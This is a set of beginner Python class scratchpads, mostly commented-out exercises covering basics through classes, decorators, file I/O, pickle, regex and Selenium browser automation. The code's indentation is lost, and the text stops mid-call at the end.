Python Sunday 31
Scratchpad #1
# print(100 + 100)
# # some message
# print(10 + 5 + 6) # this is a comment
# num = 105
# 110
highScore = 0 # camel casing
high_score = 0 # snake casing
HighScore = 0 # Pascal casing
DAYS_IN_A_WEEK = 7
__high_Score__ = 0
Scratchpad #2
# num = 10
# num = num / 3
# age = None
# # some code
# age = 10
# age
name = "John Doe"
name.lower().find("doe").upper()
Scratchpad #3
# # print("Amount of US dollars you want to convert?")
# usd = float(input("Amount of US dollars you want to convert: "))
# inr = usd * 80
# print(f"${usd} is equal to Rs. {inr}")
# name = "Ratan Tata"
# if name == "Mukesh Ambani":
# print("Reliance Industries")
# if name == "Ratan Tata":
# print("Tata Sons & Group")
# if name == "Gautam Adani":
# print("Adani Group")
# else:
# print("Some other business person")
# if name == "Mukesh Ambani":
# print("Reliance Industries")
# elif name == "Ratan Tata":
# print("Tata Sons & Group")
# elif name == "Gautam Adani":
# print("Adani Group")
# else:
# print("Some other business person")
# logged_in_user = None
# if logged_in_user:
# print("Welcome")
# else:
# print("Please log in to continue")
# if True:
# print("Hello World")
# age = int(input("How old are you? "))
# if age >= 65:
# print("Drinks are free")
# elif age >= 21:
# print("You can enter and drink")
# elif age >= 18:
# print("You can enter but you can't drink")
# else:
# print("Not allowed")
# age = int(input("How old are you? "))
# if age >= 18 and age < 21:
# print("You can enter but you can't drink")
# elif age >= 21 and age < 65:
# print("You can enter and drink")
# elif age >= 65:
# print("Drinks are free")
# else:
# print("Not allowed")
# age = input("How old are you? ")
# if age:
# age = int(age)
# if age >= 18 and age < 21:
# print("You can enter but you can't drink")
# elif age >= 21 and age < 65:
# print("You can enter and drink")
# elif age >= 65:
# print("Drinks are free")
# else:
# print("Not allowed")
# else:
# print("Please enter an age")
# player1 = input("Please enter player 1's choice: ")
# player2 = input("Please enter player 2's choice: ")
# if player1 == player2:
# print("It's a tie")
# elif ((player1 == 'rock' and player2 == 'scissor')
# or (player1 == 'scissor' and player2 == 'paper')
# or (player1 == 'paper' and player2 == 'rock')):
# print("Player 1 wins")
# elif ((player2 == 'rock' and player1 == 'scissor')
# or (player2 == 'scissor' and player1 == 'paper')
# or (player2 == 'paper' and player1 == 'rock')):
# print("Player 2 wins")
# else:
# print("Please enter a valid choice")
# for num in range(50): # 0,1,22,3,4
# print(f"{num} - Hello World")
# print("Hello Universe")
# # num = 0
# for char in "Hello World":
# print(char)
# for num in range(10):
# print(num)
# for num in range(4, 10):
# print(num)
# for num in range(0, 20, 5):
# print(num)
for num in range(0, -10, -2):
print(num)
Scratchpad #4
# for num in range(1, 21):
# if num == 5 or num == 16:
# print("FizzBuzz")
# elif num % 2 == 0:
# print("Fizz is even")
# else:
# print("Fizz is odd")
# for char in "Hello World":
# print(char)
# while True:
# print("Hello")
# password = input("Enter your password: ")
# while password != "hello":
# print("Incorrect Password")
# password = input("Enter your password again: ")
# print("Welcome")
# for num in range(10):
# print(num)
# count = 0
# while count < 10:
# print(count)
# count += 1
# count = 1
# password = input("Enter your password: ")
# while password != "hello":
# print("Incorrect Password")
# if count == 3:
# break
# password = input("Enter your password again: ")
# count += 1
# password = input("Enter your password: ")
# while True:
# if password == "hello":
# break
# print("Incorrect Password")
# password = input("Enter your password again: ")
# for num in range(10):
# if num == 4:
# break
# print(num)
# for num in range(10):
# password = input("Enter your password: ")
# while True:
# if password == "hello":
# break
# print("Incorrect Password")
# password = input("Enter your password again: ")
# print(num)
# password = input("Enter your password: ")
# while True:
# if password == "hello":
# break
# print("Incorrect Password")
# password = input("Enter your password again: ")
# for num in range(1, 11):
# print(f"{num} time")
# password = input("Enter your password: ")
# if password == "exit":
# break
# while True:
# if password == "hello":
# break
# print("Incorrect Password")
# password = input("Enter your password again: ")
# tasks = ""
# while True:
# todo = input("Please enter a task or 'exit': ")
# if todo.lower() == 'exit':
# break
# tasks = tasks + todo + "||"
# print(tasks)
# forbidden_words = ["idiot", "nonsense", "mad", "moron", "stupid", "dumb"]
# message = input("Your message to me: ")
# words = message.split(" ")
# new_message = ""
# for word in words:
# if word in forbidden_words:
# new_message = new_message + "nice "
# else:
# new_message = new_message + word + " "
# print(new_message)
forbidden_words = ["idiot", "nonsense", "mad", "moron", "stupid", "dumb"]
# for word in forbidden_words:
# print(word)
index = 0
while index < len(forbidden_words):
print(forbidden_words[index])
index += 1
Scratchpad #5
# # names = ["john", "jack", "jane", "john", "john", "jill"]
# # for name in names:
# # if name == "john":
# # print("CURRENT", names)
# # names.remove("john")
# # print("UPDATED", names)
# # print(names)
# names = ["john", "jack", "jane", "john", "john", "jill"]
# new_names = []
# for name in names:
# if name != "john":
# new_names.append(name)
# print(new_names)
# names = ['jack', 'jane', 'jill', 'john', 'john', 'john']
# print(names[3:])
# frameworks = ["Django", "Flask"]
# frameworks[0], frameworks[1] = frameworks[1], frameworks[0]
# print(frameworks)
# names = ['jack', 'jane', 'jill', 'john', 'john', 'john']
# upper_names = [x.upper() for x in names]
# nums = [1, 2, 3, 4, 5, 6, 7, 8]
# double = [num * 2 for num in nums]
# nums = [1, 2, 3, 4, 5, 6, 7, 8]
# str_nums = [str(num) for num in nums]
# # double = []
# # for num in nums:
# # double.append(num * 2)
# # upper_names = []
# # for name in names:
# # upper_names.append(name.upper())
# print(upper_names)
# print(double)
# print(str_nums)
# numbers = [1, 2, 3, 4, 5, 6]
# modified = [num * 2 if num % 2 != 0 else num / 2 for num in numbers]
# print(modified)
# modified = []
# modified = [num * 2 if num % 2 != 0 else num / 2 for num in numbers]
# for num in numbers:
# if num % 2 != 0:
# modified.append(num * 2)
# else:
# modified.append(num / 2)
# evens = [num for num in numbers if num % 2 == 0]
# odds = [num for num in numbers if num % 2 == 1]
# names = ['jacky', 'jane', 'jilly', 'john', 'johnathan', 'john']
# long_names = [name for name in names if len(name) > 4]
# print(long_names)
# message = "Hello Python!"
nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
total = 0
for lst in nested_list:
for num in lst:
total += num
print(total)
nested_list = [[[1, 2, 3], [1, 2, 3, 4], [1, 2, 3]],
[[1, 2, 3], [1, 2, 23, 3], [1, 2, 3], [1, 2, 3]],
[[1, 2, 3], [1, 2, 3], [1, 2, 23, 12, 10, 3]]]
Scratchpad #6
# lst = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
# total = 0
# for l in lst:
# for num in l:
# total += num
# print(total)
# product = [
# "iPhone 14 pro max xl",
# "Apple",
# 200000,
# 500,
# "Some description....",
# 150,
# ]
# product = {
# "name": "iPhone 14 pro max xl",
# "in_stock": 500,
# "price": 200000,
# "description": "Some description...",
# "no_of_reviews": 150,
# "discount_available": True,
# "brand": "Apple",
# "reviews": [
# {"user": "john", "comment": "Bakwas"},
# {"user": "jack", "comment": "mehenga bohot"},
# ]
# }
# song = {
# "name": "birthday bash",
# "artists": ["honey singh"],
# "album": "birthday bash",
# "release_year": "2016",
# "track_length": 3.0,
# "label": "t-series"
# }
# song1 = {"name": "song1", "artists": ["john doe", "jane"]}
# song2 = dict(name="song1", artists=["john doe", "jane"])
# print(song1, song2)
# book = {
# "name": "The theory of everything",
# "author": "Stephen Hawking",
# "pages": 140,
# "language": "English",
# "in_stock": True,
# 73: 1001001
# }
# print(book["pages"])
# print(book["language"])
# print(book[73])
# book["hello"] = "world"
# book["pages"] = 200
# book["universe"] = 123123123
# print(book)
# book = {
# "name": "The theory of everything",
# "author": "Stephen Hawking",
# "pages": 140,
# "language": "English",
# "in_stock": True,
# }
# for key in book:
# print(key, book[key])
# print(book["name"])
# for key in book.keys(): # ["The theory of everything", "Stephen Hawking"]
# print(key)
# for value in book.values(): # ["The theory of everything", "Stephen Hawking"]
# print(value)
# for key in book.keys(): # ["The theory of everything", "Stephen Hawking"]
# print(key, book[key])
# for item in book.items():
# print(item)
# for key, value in book.items():
# print(key, value)
song = {
"name": "Parabola",
"artist": "Tool",
"album": "Lateralus",
"released": 2001,
"genres": ["Progressive/Art Rock", "Progressive metal"],
}
print(song.get("track_length"))
print("SOME MORE CODE")
Scratchpad #7
# def hello():
# print("Hello World")
# print("Hello World")
# print("Hello World")
# print("Hello World")
# hello()
# hello()
# hello()
# hello()
from random import randint, random
# def guess():
# print(randint(1, 7))
# guess()
# def toss():
# num = random()
# if num > 0.5:
# print("Heads")
# else:
# print("Tails")
# toss()
# def toss():
# num = random()
# if num > 0.5:
# return "Heads"
# else:
# return "Tails"
# def toss(times):
# for _ in range(0, times):
# num = random()
# if num > 0.5:
# print("Heads")
# else:
# print("Tails")
# toss(5)
# def add(a, b):
# return a + b
# print(add(10, 3))
# def full_name(first_name, last_name):
# return f"Your full name is {first_name} {last_name}"
# print(full_name("John", "Doe"))
# print(full_name("Jack", "Smith"))
# def sum_odd_numbers(numbers):
# total = 0
# for num in numbers:
# if num % 2 != 0:
# total += num
# return total
# print(sum_odd_numbers([1, 2, 3, 4, 5, 6, 7, 8]))
# def is_odd_number(number):
# if number % 2 != 0:
# return True
# return False
# print(is_odd_number(3))
# def mul(a=1, b=1):
# return a * b
# print(mul(10))
# def toss(times=1):
# for _ in range(0, times):
# num = random()
# if num > 0.5:
# print("Heads")
# else:
# print("Tails")
# toss(3)
# def add(a, b):
# return a + b
# def sub(a, b):
# return a - b
# def math(a, b, fn=sub):
# return fn(a, b)
# result = math(10, 20, add)
# print(result)
# def print_full_name(first_name, last_name, age=10):
# print(f"My name is {first_name} {last_name} and I am {age} years old.")
# print_full_name(last_name="doe", age=20, first_name="jane")
# name = "John Doe"
# def greet():
# name = "Jane Smith"
# print(f"Hello {name}")
# greet()
# print(name)
# total = 0
# def static():
# global total
# total += 10
# print(total)
# static()
# print(total)
# def outer():
# count = 0
# def inner():
# nonlocal count
# count += 10
# print(count)
# inner()
# outer()
# def add(a, b):
# """This functions accepts two numbers and add them
# @param a: int
# @param b: int
# @return int
# """
# return a + b
# print(add.__doc__)
# print(help(add))
# def add(a, b):
# return a + b
# def add(*nums):
# total = 0
# for num in nums:
# total += num
# return total
# print(add(10, 2, 12, 124, 54, 65, 7, 567, 7889, 5433, 21))
# def names(name1, name2, *names):
# print(name1)
# print(name2)
# print(names)
# names("John", "Jane", "Jack", "Jim", "Jill", "Janam")
# def profile(**details):
# print(details)
# profile(first_name="John", last_name="Doe", age=20)
def show_info(a, b, *args, role="moderator", **kwargs):
return [a, b, args, role, kwargs]
print(
show_info(10,
20,
30,
40,
50,
role="Dev",
first_name="John",
last_name="Doe"))
Scratchpad 9
# def add_all_values(*args):
# # print(args)
# total = 0
# for num in args:
# total += num
# print(total)
# nums = [1, 20, 34, 56, 4, 32, 12]
# add_all_values(*nums)
# def say_name(first, last):
# print(f"My name is {first} {last}.")
# # say_name(first="John", last="Doe")
# name = {"first": "Robert", "last": "Moore"}
# say_name(**name)
# def square(num):
# return num * num
# square = lambda num: num * num
# # hello = square
# # print(square(2))
# def math(a, b, fn):
# return fn(a, b)
# def sub(a, b):
# return a - b
# print(math(10, 3, lambda a, b: a - b))
# nums = [1, 20, 34, 56, 4, 32, 12]
# # double_nums = []
# # for num in nums:
# # double_nums.append(num * 2)
# # print(double_nums)
# double_nums = map(lambda num: num * 2, nums) # -> list(iterator)
# print(list(double_nums))
# double_nums = [num * 2 for num in nums]
# print(double_nums)
# nums = [1, 20, 33, 56, 9, 32, 55]
# evens = filter(lambda n: n % 2 == 0, nums)
# print(list(evens))
# evens = []
# for num in nums:
# if num % 2 == 0:
# evens.append(num)
# print(evens)
names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob']
messages = list(
map(lambda name: f"The one who wins is {name}",
filter(lambda name: len(name) > 5, names)))
print(messages)
Scratchpad 11
# # # class Math:
# # # PI = 3.1415
# # # @classmethod
# # # def add(cls, a, b):
# # # return a + b
# # # @classmethod
# # # def sub(cls, a, b):
# # # return a + b
# # # print(Math.add(10, 5))
# # # print(Math.PI)
# # class Book:
# # country_of_origin = "India"
# # total_books = 0
# # def __init__(self, title, pages, author, cover, publisher, price):
# # """Class Constructor"""
# # self.title = title
# # self.pages = pages
# # self.author = author
# # self.cover = cover
# # self.publisher = publisher
# # self.price = price
# # self._inventory = 1000 # private attribute
# # self.__secret = True
# # Book.total_books += 1
# # def __repr__(self):
# # return f"Title: {self.title} | Author: {self.author}"
# # def get_inventory(self):
# # print(f"{self.publisher} - This book's inventory was checked")
# # return self._inventory
# # def set_inventory(self, new_val):
# # print(f"New books are going to be added")
# # self._inventory = new_val
# # return self._inventory
# # def info(self): # method
# # return f"Author: {self.author}\nPublisher: {self.publisher}\nPrice: {self.price}"
# # def rate(self, rating):
# # return f"Author - {self.author} gets a rating of {rating} points"
# # @classmethod
# # def get_total_books_count(cls):
# # return cls.total_books
# # # def get_inventory()
# # # def set_inventory()
# # book1 = Book("Brave Doe World", 240, "John Doe", "hard cover", "RSTForum", 500)
# # book2 = Book("Hakka Noodles with Anish", 180, "Jack Ma", "soft cover",
# # "Alibaba", 80)
# # book3 = Book("Made in Mongolia", 1800, "Jack Baap", "No cover", "Alibaba",
# # 3000)
# # print(book1)
# # print(book2)
# # print(book3)
# # # Book.country_of_origin = "Japan"
# # # # book2._inventory = 230
# # # book2.set_inventory(230)
# # # print(book2.get_inventory())
# # # print(book2._inventory)
# # # print(book2.get_inventory())
# # # print(Book.get_total_books_count())
# # # print(book2.get_total_books_count())
# # # print(Book.total_books)
# # # print(book3.country_of_origin)
# # # print(book1.country_of_origin)
# # # print(book2.country_of_origin)
# # # print(Book.country_of_origin)
# # # print(Book.cover)
# # # print(book2.info())
# # # print(book2.rate(3.8))
# # # print(book1._inventory)
# # # book2._inventory = 450
# # # print(book2._inventory)
# # # print(book2._Book__secret)
# # # print(book1.author)
# # # print(book2.author)
# # # # print(book2._inventory)
# # # book2.get_inventory()
# # # book2.set_inventory()
# # # book2._inventory = 2000
# CURRENT_YEAR = 2022
# class User:
# logged_in_users = []
# def __init__(self, first_name, last_name, email, phone, password, dob):
# self.first_name = first_name
# self.last_name = last_name
# self.email = email
# self.phone = phone
# self.password = password
# self._dob = dob
# def __repr__(self):
# return f"{self.first_name} {self.last_name}"
# @classmethod
# def create_user(cls):
# first_name = input("What is your first name? ")
# last_name = input("What is your last name? ")
# email = input("Please enter your email: ")
# phone = input("Please enter your phone number: ")
# password = input("Please enter a password: ")
# new_user = User(first_name, last_name, email, phone, password)
# return new_user
# @property
# def birthdate(self):
# birth_year = int(self._dob.split("/")[-1])
# age = CURRENT_YEAR - birth_year
# return f"You are {age} years old. Birthday - {self._dob}"
# @birthdate.setter
# def birthdate(self, new_date):
# self._dob = new_date
# return f"Birthday changed to {new_date}"
# def get_birthdate(self):
# birth_year = int(self._dob.split("/")[-1])
# age = CURRENT_YEAR - birth_year
# return f"You are {age} years old. Birthday - {self._dob}"
# def set_birthday(self, new_date):
# self._dob = new_date
# return f"Birthday changed to {new_date}"
# def login(self, password):
# if password == self.password:
# User.logged_in_users.append(self)
# return True
# else:
# raise ValueError("Incorrect Password")
# def logout(self):
# # remove user from User.logged_in_users
# return True
# class Admin(User):
# groups = []
# def __init__(self, first_name, last_name, email, phone, password, dob,
# address):
# super().__init__(first_name, last_name, email, phone, password, dob)
# self.address = address
# self._privilege_level = 8
# def __repr__(self):
# return f"{self.first_name} {self.last_name} (admin)"
# def create_group(self, group_name, users):
# Admin.groups.append({"name": group_name, "users": users})
# return f"Success created group {group_name}"
# # john = User.create_user()
# john = User("John", "Doe", "john.doe@gmail.com", "+91 123456789", "helloworld",
# "12/12/2000")
# jack = User("Jack", "Ma", "jackM@alibaba.com", "+86 123456789",
# "cakjs#$@dnlO*786", "12/12/1998")
# jane = Admin("Jane", "Doe", "jane.doe@gmail.com", "+91 123456789", "jane@123",
# "12/12/1997", "Dadar Mumbai")
# john.login("helloworld")
# jane.login("jane@123")
# print(jane.address)
# print(john.address)
# # print(User.logged_in_users)
# # jane.create_group("python study group", [john, jack])
# # # print(Admin.groups)
# # # john.set_birthday("12/12/2005")
# # # print(john.get_birthdate())
# # john.birthdate = "12/12/2009"
# # print(john.birthdate)
# # print(john.dob)
class Human:
def __init__(self, name):
self.name = name
def greet(self):
return "hello world"
class Animal:
def __init__(self, name):
self.name = name
def greet(self):
return "@#$@#$#@$"
class Mutant(Animal, Human):
pass
john = Human("John")
tom = Animal("Tom")
joom = Mutant("Joom")
print(joom.greet())
Scratchpad #12
# # # # # # import random
# # # # # # SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# # # # # # RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
# # # # # # "Queen", "King")
# # # # # # NCARDS = 8
# # # # # # def get_card(deck_list_in):
# # # # # # this_card = deck_list_in.pop()
# # # # # # return this_card
# # # # # # def shuffle(deck_list_in):
# # # # # # deck_list_out = deck_list_in.copy()
# # # # # # random.shuffle(deck_list_out)
# # # # # # return deck_list_out
# # # # # # print("Welcome to higher or lower.")
# # # # # # print(
# # # # # # "You have to choose whether the next to be shown will be higher or lower than the current card."
# # # # # # )
# # # # # # print("Getting it right add 20 points; get it wrong you will lose 15 points.")
# # # # # # print("You have 50 points to start.")
# # # # # # print()
# # # # # # starting_deck_list = []
# # # # # # for suit in SUIT_TUPLE:
# # # # # # for this_value, rank in enumerate(RANK_TUPLE):
# # # # # # card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
# # # # # # starting_deck_list.append(card_dict)
# # # # # # score = 50
# # # # # # while True:
# # # # # # print()
# # # # # # game_deck_list = shuffle(starting_deck_list)
# # # # # # current_card_dict = get_card(game_deck_list)
# # # # # # current_card_rank = current_card_dict["rank"]
# # # # # # current_card_value = current_card_dict["value"]
# # # # # # current_card_suit = current_card_dict["suit"]
# # # # # # print(f"Starting card is {current_card_rank} of {current_card_suit}")
# # # # # # print()
# # # # # # for card_number in range(0, NCARDS):
# # # # # # answer = input(
# # # # # # f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
# # # # # # )
# # # # # # answer = answer.casefold()
# # # # # # next_card_dict = get_card(game_deck_list)
# # # # # # next_card_rank = next_card_dict["rank"]
# # # # # # next_card_value = next_card_dict["value"]
# # # # # # next_card_suit = next_card_dict["suit"]
# # # # # # print(f"Next card is {next_card_rank} of {next_card_suit}")
# # # # # # if answer == 'h':
# # # # # # if next_card_value > current_card_value:
# # # # # # print("You got it right, it was higher")
# # # # # # score += 20
# # # # # # else:
# # # # # # print("Sorry, it was not higher")
# # # # # # score -= 15
# # # # # # elif answer == "l":
# # # # # # if next_card_value < current_card_value:
# # # # # # print("You got it right, it was lower")
# # # # # # score += 20
# # # # # # else:
# # # # # # print("Sorry, it was not lower")
# # # # # # score -= 15
# # # # # # print(f"Your score is: {score}")
# # # # # # print()
# # # # # # current_card_rank = next_card_rank
# # # # # # current_card_suit = next_card_suit
# # # # # # current_card_value = next_card_value
# # # # # # go_again = input("To play again, press ENTER, or 'q' to quit: ")
# # # # # # if go_again == 'q':
# # # # # # break
# # # # # # print("Good bye")
# # # # # # ===================================================
# # # # # class User:
# # # # # def greet(self):
# # # # # raise NotImplementedError("Subclasses need to implement this method")
# # # # # class Subscriber(User):
# # # # # def greet(self):
# # # # # print("I'm a subscriber")
# # # # # class Creator(User):
# # # # # def greet(self):
# # # # # print("I'm a creator")
# # # # # john = Subscriber()
# # # # # jane = Creator()
# # # # # john.greet()
# # # # # jane.greet()
# # # # class Human:
# # # # def __init__(self, name, height):
# # # # self.name = name
# # # # self.height = height
# # # # def __len__(self):
# # # # return self.height
# # # # john = Human("John Doe", 175)
# # # # print(len(john))
# # # # def my_for(iterable):
# # # # iterator = iter(iterable)
# # # # while True:
# # # # try:
# # # # print(next(iterator))
# # # # except StopIteration:
# # # # break
# # # # my_list = [1, 2, 3, 4, 5]
# # # # for num in my_list: # for(my_list)
# # # # print(num)
# # # # my_for(my_list)
# # # # class Counter:
# # # # def __init__(self, start, end, step=1):
# # # # self.start = start
# # # # self.end = end
# # # # self.step = step
# # # # def __iter__(self):
# # # # return self
# # # # def __next__(self):
# # # # if self.start < self.end:
# # # # num = self.start
# # # # self.start += self.step
# # # # return num
# # # # else:
# # # # raise StopIteration
# # # # # r = range(0, 10)
# # # # # iter_r = iter(r)
# # # # # print(next(iter_r))
# # # # # print(next(iter_r))
# # # # # print(next(iter_r))
# # # # # print(next(iter_r))
# # # # # nums = Counter(0, 10)
# # # # # iter_nums = iter(nums)
# # # # # print(next(iter_nums))
# # # # # print(next(iter_nums))
# # # # # print(next(iter_nums))
# # # # # print(next(iter_nums))
# # # # for num in Counter(0, 100, 5):
# # # # print(num)
# # # # def count(start, end, step=1):
# # # # count = start
# # # # while count <= end:
# # # # yield count
# # # # count += step
# # # # for num in count(0, 10, 2):
# # # # print(num)
# # # def fib_list(max):
# # # nums = []
# # # a, b = 0, 1
# # # while len(nums) < max:
# # # nums.append(b)
# # # a, b = b, a + b
# # # return nums
# # # def fib_gen(max):
# # # a, b = 0, 1
# # # count = 0
# # # while count < max:
# # # a, b = b, a + b
# # # yield a
# # # count += 1
# # # # for num in fib_list(1000000):
# # # # print(num)
# # # for num in fib_gen(1000000):
# # # print(num)
# # import time
# # gen_start_time = time.time()
# # print(sum(num for num in range(100000000)))
# # gen_stop_time = time.time() - gen_start_time
# # list_start_time = time.time()
# # print(sum([num for num in range(100000000)]))
# # list_stop_time = time.time() - list_start_time
# # print(f"Generator took: {gen_stop_time}")
# # print(f"List Comp took: {list_stop_time}")
# # def math(a, b, fn):
# # return fn(a, b)
# # def add(a, b):
# # return a + b
# # def sub(a, b):
# # return a - b
# # print(math(10, 3, add))
# # print(math(10, 3, sub))
# # print(math(10, 3, lambda a, b: a * b))
# # def sum(n, func):
# # total = 0
# # for num in range(1, n + 1):
# # total += func(num)
# # return total
# # def square(n):
# # return n * n
# # def cube(n):
# # return n * n * n
# # print(sum(10, square))
# # import random
# # def greet(person):
# # def get_mood():
# # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
# # msg = random.choice(mood) # import random
# # return msg
# # result = f"{get_mood()} {person}"
# # return result
# # print(greet("John Doe"))
# import random
# def make_greet_func(person):
# def make_message():
# msg = random.choice(
# ["Hello", "What!", "What the heck do you want!", "Get lost!"])
# return f"{msg} {person}"
# return make_message
# result = make_greet_func("John")
# print(result)
def stars(fn):
def wrapper():
print("*" * 10)
fn()
print("*" * 10)
return wrapper
@stars # greet = stars(greet)
def greet():
print("Hello World")
# greet()
# greet = stars(greet)
greet()
Scratchpad #13
# # # def stars(fn):
# # # def wrapper():
# # # print("*" * 20)
# # # fn()
# # # print("*" * 20)
# # # return wrapper
# # # @stars
# # # def say_hello():
# # # print("Hello World")
# # # # say_hello = stars(say_hello)
# # # say_hello()
# # from functools import wraps
# # def make_upper_case(fn):
# # """Decorate to uppercase the returned string"""
# # @wraps(fn) # wrapper = wraps(fn)(wrapper)
# # def wrapper(*args, **kwargs):
# # """Wrapper function that will be returned"""
# # return fn(*args, **kwargs).upper()
# # return wrapper
# # @make_upper_case # say_hello = make_upper_case(say_hello)
# # def say_hello(name):
# # """Will say hello to someone"""
# # return f"Hello, {name}"
# # @make_upper_case
# # def say_message(name, message):
# # """Will say something to someone"""
# # return f"{message}, {name}"
# # # print(say_hello("John"))
# # # print(say_message("John", "Hi"))
# # print(say_hello.__doc__)
# # print(say_hello.__name__)
# # print(say_message.__doc__)
# def enforce(*types):
# def inner(fn):
# def wrapper(*args, **kwargs):
# new_args = []
# for a, t in zip(args, types): # [(message, str), (count, int)]
# try:
# new_args.append(t(a)) # str("hello") "hello"
# except (ValueError, TypeError):
# return "Something went wrong"
# return fn(*new_args)
# return wrapper
# return inner
# @enforce(str, int) # say_many_times = enforce(str, int)(say_many_times)
# def say_many_times(message, count):
# print((message + "\n") * count)
# say_many_times(100000, "asdasd")
##### Bank
# Attributes:
# name: str
# branch: str
# initials: str
# address: str
# phone_nos: list<str>
# email: str
# customers_list: list<Customer>
# ifsc_code: str
# Methods:
# change_details()
# add_customer() -> Customer
# find_customer_by_acc_no()
# find_customer_by_name(first_name, last_name)
# find_customer_by_email(email)
# find_customer_by_mobile_no(mobile_no)
# delete_customer(acc_no)
# get_total_balance()
##### Customer
# Attributes:
# first_name: str
# last_name: str
# email: str
# phone_no: str
# address: str
# aadhar_card_no: int
# pan_card_no: str
# zip_code: int
# balance: float
# acc_no: str
# bank_details: dict
# account_type: "savings" | "current"
# Methods:
# change_details(**kwargs)
# check_balance()
# deposit(amount: float)
# withdraw(amount: float)
# transfer(amount: float, customer: Customer)
# Reading / Writing files
# file = open("test.txt")
# print(file)
# file.close()
# with open("test.txt") as file:
# print(file.read())
# print(file.closed)
# print(file.closed)
# with open("test.txt", "w") as file:
# file.write("*" * 20)
# file.write("\nHello World\nThis is some text\n")
# file.write("This is another line\n")
# file.write("*" * 20)
# file.write("\n")
# with open("test.txt", "r+") as file:
# file.write("====Hello universe.=====")
# from csv import reader, DictReader
# with open("test.csv") as file:
# csv_reader = reader(file)
# print(list(csv_reader))
# # for item in csv_reader:
# # print(item)
# with open("test.csv") as file:
# csv_reader = DictReader(file)
# print(list(csv_reader))
# # for item in csv_reader:
# # print(item)
from csv import writer, DictWriter
# with open("test.csv", "a", newline="") as file:
# csv_writer = writer(file)
# csv_writer.writerow(["Jill Roe", 42, "jill@gmail.com", "123456789"])
# csv_writer.writerow(["Jill Roe", 42, "jill@gmail.com", "123456789"])
# csv_writer.writerow(["Jill Roe", 42, "jill@gmail.com", "123456789"])
# csv_writer.writerow(["Jill Roe", 42, "jill@gmail.com", "123456789"])
# with open("test.csv", "w", newline="") as file:
# headers = ["name", "age", "email", "phone"]
# csv_writer = DictWriter(file, fieldnames=headers)
# csv_writer.writeheader()
# csv_writer.writerow(
# {"name": "John Doe", "age": 20, "email": "john@gmail.com", "phone": 123455678}
# )
# csv_writer.writerow(
# {"name": "John Doe", "age": 20, "email": "john@gmail.com", "phone": 123455678}
# )
import pickle
class User:
def __init__(self, name, email, age):
self.name = name
self.email = email
self.age = age
def greet(self):
print(f"Hello I am {self.name}")
def __repr__(self):
return self.name
user1 = User("John", "john@gmail.com", 22)
with open("users.pickle", "wb") as file:
pickle.dump(user1, file)
with open("users.pickle", "rb") as file:
restored_user = pickle.load(file)
restored_user.greet()
Scratchpad #14
# # # import re
# # # # pattern = re.compile(r"\+?91\s?\d{3}\s?\d{4}\s?\d{4}")
# # # # result = pattern.search("Call us today on 91 022 23456789")
# # # # print(result)
# # # # print(result.group())
# # # # result = pattern.findall("Call us today on 91 022 23456789 or +91 022 2345 2345")
# # # # print(result)
# # # # def extract_phone(input):
# # # # phone_regex = re.compile(r"\+?91\s?\d{3}\s?\d{4}\s?\d{4}")
# # # # match = phone_regex.search(input)
# # # # if match:
# # # # return match.group()
# # # # else:
# # # # None
# # # # def extract_phone(input):
# # # # phone_regex = re.compile(r"\+?91\s?\d{3}\s?\d{4}\s?\d{4}")
# # # # return phone_regex.findall(input)
# # # # print(extract_phone("Call us today on 91 022 23456789 or +91 022 2345 2345"))
# # # # def is_valid_phone(input):
# # # # phone_regex = re.compile(r"^\+?91\s?\d{3}\s?\d{4}\s?\d{4}$")
# # # # match = phone_regex.search(input)
# # # # if match:
# # # # return True
# # # # else:
# # # # False
# # # # def is_valid_phone(input):
# # # # phone_regex = re.compile(r"\+?91\s?\d{3}\s?\d{4}\s?\d{4}")
# # # # match = phone_regex.fullmatch(input)
# # # # if match:
# # # # return True
# # # # else:
# # # # return False
# # # # print(is_valid_phone("+91 022 2345 2345 "))
# # from selenium import webdriver
# # from selenium.webdriver.common.keys import Keys
# # from selenium.webdriver.common.by import By
# # from time import sleep
# # browser = webdriver.Chrome("chromedriver.exe")
# # browser.maximize_window()
# # # browser.get("https://www.youtube.com/")
# # # sleep(5)
# # # search_box = browser.find_element(
# # # By.XPATH,
# # # "/html/body/ytd-app/div[1]/div/ytd-masthead/div[3]/div[2]/ytd-searchbox/form/div[1]/div[1]/input",
# # # )
# # # sleep(1)
# # # search_box.click()
# # # sleep(1)
# # # search_box.send_keys("John Wick Trailer", Keys.ENTER)
# # # sleep(4)
# # # video = browser.find_element(By.PARTIAL_LINK_TEXT, "John Wick Official Trailer")
# # # sleep(1)
# # # video.click()
# # # sleep(100)
# # # -------
# # browser.get("https://web.whatsapp.com/")
# # sleep(25)
# # search_box = browser.find_element(
# # By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[2]"
# # )
# # sleep(1)
# # search_box.click()
# # sleep(2)
# # search_box.send_keys("PYTHON Sunday RS 24/7/22", Keys.ENTER)
# # sleep(2)
# # message_box = browser.find_element(
# # By.XPATH,
# # "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p",
# # )
# # sleep(1)
# # message_box.click()
# # sleep(1)
# # for _ in range(20):
# # message_box = browser.find_element(
# # By.XPATH,
# # "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p",
# # )
# # sleep(1)
# # message_box.click()
# # sleep(1)
# # message_box.send_keys("Hello from Python", Keys.ENTER)
# # sleep(1)
# # sleep(10)
# # browser.close()
# import docx
# from docx.enum.text import WD_ALIGN_PARAGRAPH
# doc = docx.Document()
# doc.add_heading("Python Word Document using python-docx", level=0)
# doc.add_heading("Some more information", level=1)
# para1 = doc.add_paragraph(
# "Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsum veniam ducimus obcaecati debitis, sit reprehenderit quisquam. Dolorem obcaecati nobis architecto sit amet nesciunt repudiandae. Accusamus porro non aut dolor dolores."
# )
# para1.alignment = WD_ALIGN_PARAGRAPH.RIGHT
# doc.add_page_break()
# doc.add_heading("New page new info", level=2)
# doc.add_paragraph(
